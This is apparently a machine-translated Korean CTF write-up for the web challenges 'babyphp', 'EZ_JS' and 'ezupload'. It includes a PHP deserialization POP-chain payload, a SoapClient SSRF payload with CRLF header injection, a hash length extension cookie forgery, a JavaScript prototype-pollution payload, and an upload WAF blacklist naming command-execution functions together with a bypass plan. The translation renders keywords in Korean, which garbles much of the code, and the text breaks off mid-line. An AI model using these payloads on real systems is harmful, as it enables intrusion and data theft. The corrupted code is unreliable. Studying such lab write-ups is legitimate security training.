KoreanHackerTeam
Moderator
babyphp
Index.php:? php
//flag.php의 무언가
클래스 A
{
공개 $ a;
공개 $ B;
공개 기능 __wakeup ()
{
$ this-a='babyhacker';
}
공개 기능 __invoke ()
{
if (isset ($ this-a) $ this-a==md5 ($ this-a)) {
$ this-b-uwant ();
}
}
}
클래스 b
{
공개 $ a;
공개 $ B;
공개 $ k;
함수 __destruct ()
{
$ this-b=$ this-k;
다이 ($ this-a);
}
}
클래스 c
{
공개 $ a;
공개 $ C;
공개 기능 __toString ()
{
$ cc=$ this-c;
반환 $ cc ();
}
공개 기능 uwant ()
{
if ($ this-a=='phpinfo') {
phpinfo ();
} 또 다른 {
call_user_func (배열 (재설정 ($ _ session), $ this-a);
}
}
}
if (isset ($ _ get [ 'd0g3'])) {
ini_set ($ _ get [ 'baby'], $ _get [ 'd0g3']);
session_start ();
$ _session [ 'sess']=$ _post [ 'sess'];
}
또 다른{
session_start ();
if (isset ($ _ post [ 'pop'])) {
비 시절 ($ _ post [ 'pop']);
}
}
var_dump ($ _ 세션);
하이라이트_file (__ file__);
flag.php:
? php
session_start ();
하이라이트_file (__ file__);
//루트 디렉토리의 플래그
if ($ _ server [ 'remote_addr']==='127.0.0.1') {
$ f1ag=implode (array (new $ _get [ 'a'] ($ _ get [ 'b'])));
$ _session [ 'f1ag']=$ f1ag;
}또 다른{
Echo 'Only LocalHost !';
}
팝 체인을 구성함으로써 해당 세션을 볼 수 있습니다 .Serialize_handler는 PHP이며 Flag.php의 소스 코드와 결합하여 SSRF를 수행하기 위해 SOAPCLIENT를 구조화 할 것으로 추측됩니다.
아이디어는 먼저 serialize_handler를 php_serialize로 지정하기 위해 ini_set의 매개 변수를 먼저 제어하고, SOAPClient의 사막화 페이로드로 매개 변수 Sess를 전달한 다음 모든 GET GET POST 매개 변수를 제거하고 페이지에 한 번 액세스하기 위해 페이지에 액세스하십시오. 마지막으로 알려진 팝 체인을 사용하여 SOUCCLIENT __CALL 메소드를 호출하여 SSRF를 트리거하십시오.
SSRF는 먼저 PHP의 기본 클래스 글로이터를 사용하여 루트 디렉토리에서 F로 시작하는 파일을 찾은 다음 splfileObject를 사용하여 플래그를 읽습니다.
팝 체인 페이로드 :
? php
클래스 A
{
공개 $ a;
공개 $ B;
}
클래스 b
{
}
클래스 c
{
공개 $ a;
공개 $ C;
}
$ cc=new c ();
$ cc-a='xxxx';
$ a=새로운 a ();
$ a-a='0e215962017';
$ a-b=$ cc;
$ c=새로운 c ();
$ c-c=$ a;
$ b=새로운 b ();
$ B-A=$ C;
에코 직렬화 ($ B);
SSRF 페이로드 :
? php
//$ a=new soapclient (null, array ( 'location'='http://127.0.0.1/flag.php?a=globiteratorb=/f*', 'user_agent'='111 \ r \ ncookie: phpsessid=c9urdtg4kjp5jl36mrl4 4qlsah', '시험'));
$ a=new soapclient (null, 어레이 ( 'location'='http://127.0.0.1/flag.php?a=splfileobjectb=/f111111lllllllaagg', 'user_agent'='111 \ r \ r \ r \ r \ r \ r \ r \ r \ ncookie: phpssessid=c9Urdtg4 K9Urdtg4 KL36Mrl 4jl366MrL 'uri'='test'));
$ b=직렬화 ($ a);
echo '|'.urlencode ($ b);
먼저 Globiterator를 사용하십시오




splfileobject를 재사용하십시오




EZ_JS
로그인 인터페이스 및 계정 비밀번호를 마음대로 입력하면 /쿠키 경로로 점프하고 마우스 오른쪽 버튼을 클릭하여 jsfuck 암호 해독 프롬프트 자본을 입력하십시오.홈페이지를 마우스 오른쪽 버튼으로 클릭하여 다음과 같이 댓글을 달아주십시오
!-이 비밀은 보안에 7 자입니다!
HASH=MD5 (Secret+'Flag'); //1946714CFA9DEB70CC40BAB32872F98A
관리자 쿠키입니다 MD5 (비밀+URLDECODE ( '플래그%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00 %00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00DOG ');
-
한 눈 해시 길이 연장 공격

쿠키 해시를 직접 변경하여 쓸모가 없다는 것을 알았습니다. 나중에 userID가 비어 있었고 오류가 발생했습니다

이전 팁과 결합하여 JS :의 어퍼 케이스 기능을 사용하십시오.
'ı'.touppercase ()=='i '//true

그런 다음 /infoflllllag로 점프하십시오 (정적 환경은 30 분마다 재설정되므로 이전 그림이 캡처됩니다).
var express=요구 사항 ( 'Express');
var router=express.router ();
const isobject=obj=obj obj.constructor obj.constructor===객체;
const merge=(a, b)={
for (b in b) {
if (isobject (a [attr]) isobject (b [attr]) {
병합 (a [attr], b [attr]);
} 또 다른 {
a [attr]=b [attr];
}
}
반환 a
}
const 클론=(a)={
반환 병합 ({}, a);
}
router.get ( '/', function (req, res, next) {
if (req.flag=='flag') {
//출력 플래그;
res.send ( '플래그 ??');
}
RES.RENDER ( 'Info');
});
router.post ( '/', express.json (), function (req, res) {
var str=req.body.id;
var obj=json.parse (str);
req.cookies.id=클론 (OBJ);
RES.RENDER ( 'Info');
});
module.exports=라우터;
REQ의 플래그 속성은 프로토 타입 체인을 통해 오염되어야한다는 것은 분명합니다. 페이로드는 다음과 같습니다
id={ '__ proto __':+{ 'flag':+'flag '}}

그런 다음 깃발에 액세스하십시오

정적 대상 기계의 스크린 샷

ezupload
PHPINFO 업로드 먼저
php 8.0.1, disable_functions는 무리를 필터링하지만 file_get_contents ()를 사용할 수 있으며 질문의 소스 코드를 읽습니다.
HTML
몸
양식 메소드='Post'EncType='multipart/form-data'
이 프론트 엔드는 아름답 지 않습니다!
입력 유형='파일'이름='upload_file' /
입력 유형='제출'이름='제출'value='제출' /
/형태
/몸
/html
? php
함수 WAF ($ var) : bool {
$ blacklist=[ '\ $ _', 'Eval', 'Copy', 'Assert', 'Usort', 'include', 'reader', '$', '^', '~', '-', '%', '*', 'file', 'fopen', 'fwriter', 'fput', 'copy', 'curl', 'fread', 'fget', 'function_exists', 'dl', 'putenv', 'system', 'exec', 'passthru', 'proc_open', 'proc_close', 'proc_get_status', 'checkdnsrr', 'getmxrr', 'getservbyname', 'getservbyport', 'syslog', 'popen', 'show_source', 'height_file', ','chmod '];
foreach ($ blacklist as $ blackword) {
if (strstr ($ var, $ blackword))가 true를 반환합니다.
}
거짓을 반환합니다.
}
error_reporting (0);
//업로드 디렉토리를 설정합니다
정의 ( 'upload_path', './uploads');
$ msg='업로드 성공!';
if (isset ($ _ post [ '제출'])) {
$ temp_file=$ _files [ 'upload_file'] [ 'tmp_name'];
$ file_name=$ _files [ 'upload_file'] [ 'name'];
$ ext=pathinfo ($ file_name, pathinfo_extension);
if (! preg_match ( '/php/i', strtolower ($ ext))) {
다이 ( '나는 그림을 원하지 않는다, Xiong da');
}
$ content=file_get_contents ($ temp_file);
if (waf ($ content)) {
죽는다 ( '오, 뭐하는거야, 작은 헤이 지 .');
}
$ new_file_name=md5 ($ file_name). '.'. $ ext;
$ img_path=upload_path. '/'. $ new_file_name;
if (move_uploaded_file ($ temp_file, $ img_path)) {
$ is_upload=true;
} 또 다른 {
$ msg='업로드 실패!';
주사위();
}
echo $ msg. ' '. $ img_path;
비트 작동 | 필터링되지 않았습니다. 여기서 | 예를 들어, Globiterator를 사용하여 깃발을 찾으십시오
가져 오기 re
preg='\*'
DEF ConvertTourl (S) :
S 16: 인 경우
return '%0' + str (hex (s) .replace ( '0x', ''))
else:
반환 '%' + str (hex (s) .r